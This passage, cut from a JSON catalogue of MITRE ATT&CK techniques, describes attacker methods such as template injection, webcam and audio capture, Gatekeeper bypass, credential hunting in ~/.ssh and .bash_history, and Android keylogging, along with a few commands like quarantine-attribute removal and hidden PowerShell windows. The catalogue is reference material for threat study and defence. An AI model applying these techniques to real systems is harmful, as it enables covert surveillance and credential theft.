"description": "Adversaries may create or modify references in Office document templates to conceal malicious code or force authentication attempts. Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)",
"meta": {
"external_id": "T1221",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html",
"https://attack.mitre.org/techniques/T1221",
"https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/",
"https://blog.talosintelligence.com/2017/07/template-injection.html",
"https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)",
"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104",
"https://github.com/ryhanson/phishery",
"https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780"
]
},
"uuid": "dc31fe1e-d722-49da-8f5f-92c7b5aff534",
"value": "Template Injection - T1221"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
"meta": {
"external_id": "CAPEC-634",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1123",
"https://capec.mitre.org/data/definitions/634.html"
]
},
"uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
"value": "Audio Capture - T1123"
},
{
"description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
"meta": {
"external_id": "T1132",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1132",
"https://en.wikipedia.org/wiki/Binary-to-text_encoding",
"https://en.wikipedia.org/wiki/Character_encoding"
]
},
"uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
"value": "Data Encoding - T1132"
},
{
"description": "Adversaries may utilize the camera to capture information about the user, their surroundings, or other physical identifiers. Adversaries may use the physical camera devices on a mobile device to capture images or video. By default, in Android and iOS, an application must request permission to access a camera device which is granted by the user through a request prompt. In Android, applications must hold the `android.permission.CAMERA` permission to access the camera. In iOS, applications must include the `NSCameraUsageDescription` key in the `Info.plist` file, and must request access to the camera at runtime.",
"meta": {
"external_id": "APP-19",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1512",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
]
},
"uuid": "d8940e76-f9c1-4912-bea6-e21c251370b6",
"value": "Capture Camera - T1512"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
"meta": {
"external_id": "CAPEC-634",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1125",
"https://capec.mitre.org/data/definitions/634.html",
"https://objective-see.com/blog/blog_0x25.html"
]
},
"uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
"value": "Video Capture - T1125"
},
{
"description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method SMLoginItemSetEnabled can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).",
"meta": {
"external_id": "CAPEC-564",
"refs": [
"https://attack.mitre.org/techniques/T1162",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
"https://capec.mitre.org/data/definitions/564.html",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9",
"value": "Login Item - T1162"
},
{
"description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
"meta": {
"external_id": "T1172",
"refs": [
"http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
"https://attack.mitre.org/techniques/T1172"
]
},
"related": [
{
"dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd",
"value": "Domain Fronting - T1172"
},
{
"description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.",
"meta": {
"external_id": "T1182",
"refs": [
"https://attack.mitre.org/techniques/T1182",
"https://forum.sysinternals.com/appcertdlls_topic12546.html",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025",
"value": "AppCert DLLs - T1182"
},
{
"description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)",
"meta": {
"external_id": "CAPEC-163",
"refs": [
"https://attack.mitre.org/techniques/T1192",
"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
"https://capec.mitre.org/data/definitions/163.html"
]
},
"related": [
{
"dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba",
"value": "Spearphishing Link - T1192"
},
{
"description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.",
"meta": {
"external_id": "T1129",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1129",
"https://en.wikipedia.org/wiki/Microsoft_Windows_library_files"
]
},
"uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
"value": "Shared Modules - T1129"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)",
"meta": {
"external_id": "T1331",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1331"
]
},
"related": [
{
"dest-uuid": "e6ca2820-a564-4b74-b42a-b6bdf052e5b6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "related-to"
}
],
"uuid": "72c8d526-1247-42d4-919c-6d7a31ca8f39",
"value": "Obfuscate infrastructure - T1331"
},
{
"description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n",
"meta": {
"external_id": "T1143",
"refs": [
"https://attack.mitre.org/techniques/T1143",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
]
},
"related": [
{
"dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
"value": "Hidden Window - T1143"
},
{
"description": "Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)",
"meta": {
"external_id": "APP-40",
"kill_chain": [
"mitre-mobile-attack:collection"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1513",
"https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/",
"https://developer.android.com/reference/android/media/projection/MediaProjectionManager",
"https://developer.android.com/studio/command-line/adb",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-40.html",
"https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html",
"https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf"
]
},
"uuid": "73c26732-6422-4081-8b63-6d0ae93d449e",
"value": "Screen Capture - T1513"
},
{
"description": "Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.",
"meta": {
"external_id": "T1136",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"User Account: User Account Creation"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1136",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
]
},
"uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
"value": "Create Account - T1136"
},
{
"description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.",
"meta": {
"external_id": "T1138",
"refs": [
"https://attack.mitre.org/techniques/T1138",
"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566",
"value": "Application Shimming - T1138"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)",
"meta": {
"external_id": "T1381",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1381"
]
},
"uuid": "4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4",
"value": "Authentication attempt - T1381"
},
{
"description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
"meta": {
"external_id": "CAPEC-163",
"refs": [
"https://attack.mitre.org/techniques/T1193",
"https://capec.mitre.org/data/definitions/163.html"
]
},
"related": [
{
"dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38",
"value": "Spearphishing Attachment - T1193"
},
{
"description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
"meta": {
"external_id": "T1139",
"refs": [
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1139"
]
},
"related": [
{
"dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "44dca04b-808d-46ca-b25f-d85236d4b9f8",
"value": "Bash History - T1139"
},
{
"description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
"meta": {
"external_id": "T1144",
"refs": [
"https://attack.mitre.org/techniques/T1144",
"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
"value": "Gatekeeper Bypass - T1144"
},
{
"description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)",
"meta": {
"external_id": "APP-19",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:persistence"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1541",
"https://blog.trendmicro.com/trendlabs-security-intelligence/fake-photo-beautification-apps-on-google-play-can-read-sms-verification-code-to-trigger-wireless-application-protocol-wap-carrier-billing/",
"https://developer.android.com/guide/components/services.html#Foreground",
"https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices",
"https://i.blackhat.com/eu-19/Thursday/eu-19-Sutter-Simple-Spyware-Androids-Invisible-Foreground-Services-And-How-To-Abuse-Them.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html"
]
},
"uuid": "648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e",
"value": "Foreground Persistence - T1541"
},
{
"description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)",
"meta": {
"external_id": "T1145",
"refs": [
"https://attack.mitre.org/techniques/T1145",
"https://en.wikipedia.org/wiki/Public-key_cryptography",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf",
"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
]
},
"related": [
{
"dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe",
"value": "Private Keys - T1145"
},
{
"description": "An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.\n\n### Biometric Spoofing\nIf biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.\n\n### Device Unlock Code Guessing or Brute Force\nAn adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\"shoulder surfing\") the device owner's use of the lockscreen passcode. \n\n### Exploit Other Device Lockscreen Vulnerabilities\nTechniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.",
"meta": {
"external_id": "T1461",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1461",
"https://srlabs.de/bites/spoofing-fingerprints/",
"https://support.apple.com/en-us/HT204587",
"https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/",
"https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/",
"https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/",
"https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/"
]
},
"uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd",
"value": "Lockscreen Bypass - T1461"
},
{
"description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.\n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)",
"meta": {
"external_id": "T1416",
"kill_chain": [
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1416",
"https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/",
"https://tools.ietf.org/html/rfc7636"
]
},
"related": [],
"uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58",
"value": "URI Hijacking - T1416"
},
{
"description": "Adversaries may capture user input to obtain credentials or other information from the user through various methods.\n\nMalware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nOn Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.\n\nAdditional methods of keylogging may be possible if root access is available.",
"meta": {
"external_id": "T1417",
"kill_chain": [
"mitre-mobile-attack:collection",
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
